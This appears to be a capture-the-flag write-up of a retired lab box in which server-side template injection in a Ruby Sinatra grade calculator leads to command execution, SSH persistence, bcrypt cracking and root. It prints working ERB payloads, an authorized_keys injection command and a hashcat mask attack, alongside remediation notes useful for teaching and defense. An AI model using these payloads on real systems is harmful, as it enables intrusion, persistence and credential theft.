Perfection
Summary
I found a weighted grade calculator on an nginx-proxied Ruby Sinatra web application that rendered user-submitted category names through Ruby's ERB template engine without sanitization. Injecting a newline character followed by an ERB expression tag into the POST parameter caused the template engine to evaluate arbitrary Ruby code, confirming server-side template injection.
Escalating to ERB backtick syntax gave full OS command execution running as the susan OS user — whose account both owned the web process and held unrestricted sudo rights on the host. The user flag was read directly from disk via the unauthenticated HTTP endpoint; then I-generated SSH public key was written into susan's authorized_keys through the same code-execution channel, converting a web exploit into a persistent interactive shell.
From that shell, a SQLite credential database in susan's home directory yielded her bcrypt-hashed password, and a plaintext administrative email in her system mailbox revealed the exact password construction rule — a fixed prefix followed by nine decimal digits — collapsing the keyspace to one billion candidates. A hashcat mask attack recovered the plaintext password in minutes; authenticating sudo with it gave a root shell and completed full host compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
nmap -sV -p- --open -T4 $TARGETExact commands 3
curl -sS -i http://$TARGET/gobuster dir -u http://$TARGET/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 30curl -sS http://$TARGET/nonexistent-pathExact commands 1
curl -sS -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode $'category1=Art\n<%=7*7%>' -d 'grade1=1' -d 'weight1=100' -d 'category2=B' -d 'grade2=1' -d 'weight2=0' -d 'category3=C' -d 'grade3=1' -d 'weight3=0' -d 'category4=D' -d 'grade4=1' -d 'weight4=0' -d 'category5=E' -d 'grade5=1' -d 'weight5=0'FixSanitize all user input before it reaches the ERB template engineCritical
cat /home/susan/user.txt; id output confirmed uid=1001(susan) groups=1001(susan),27(sudo).Exact commands 2
curl -sS --max-time 8 -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode $'category1=Art\n<%= `cat /home/susan/user.txt 2>/dev/null` %>' -d 'grade1=1' -d 'weight1=20' -d 'category2=B' -d 'grade2=1' -d 'weight2=20' -d 'category3=C' -d 'grade3=1' -d 'weight3=20' -d 'category4=D' -d 'grade4=1' -d 'weight4=20' -d 'category5=E' -d 'grade5=1' -d 'weight5=20' | grep -Eo '[a-fA-F0-9]{32}'curl -sS --max-time 8 -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode $'category1=Art\n<%= `id; whoami; groups` %>' -d 'grade1=1' -d 'weight1=20' -d 'category2=B' -d 'grade2=1' -d 'weight2=20' -d 'category3=C' -d 'grade3=1' -d 'weight3=20' -d 'category4=D' -d 'grade4=1' -d 'weight4=20' -d 'category5=E' -d 'grade5=1' -d 'weight5=20'Exact commands 3
ssh-keygen -t ed25519 -N '' -f /tmp/perfection_keypub=$(cat /tmp/perfection_key.pub) && curl -sS -X POST "http://$TARGET/weighted-grade-calc" --data-urlencode "category1=Art\n<%= \`mkdir -p /home/susan/.ssh && echo '$pub' >> /home/susan/.ssh/authorized_keys && chmod 700 /home/susan/.ssh && chmod 600 /home/susan/.ssh/authorized_keys\` %>" -d 'grade1=1' -d 'weight1=20' -d 'category2=B' -d 'grade2=1' -d 'weight2=20' -d 'category3=C' -d 'grade3=1' -d 'weight3=20' -d 'category4=D' -d 'grade4=1' -d 'weight4=20' -d 'category5=E' -d 'grade5=1' -d 'weight5=20'ssh -i /tmp/perfection_key susan@$TARGETFixRun the web application as a dedicated service account with no interactive home directoryHigh
Exact commands 2
sqlite3 /home/susan/Migration/pupilpath_credentials.db "SELECT * FROM users;"cat /var/mail/susanFixSecure credential storage and eliminate predictable password patternsHigh
Exact commands 4
echo '$2a$12$<paste_full_hash_here>' > /tmp/susan.hashhashcat -m 3200 /tmp/susan.hash -a 3 "$PASSWORD?d?d?d?d?d?d?d?d?d"sudo -icat /root/root.txtFixRemove unrestricted sudo privileges from the web application user accountCritical
Attack patterns used
The transferable techniques behind this compromise.
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx |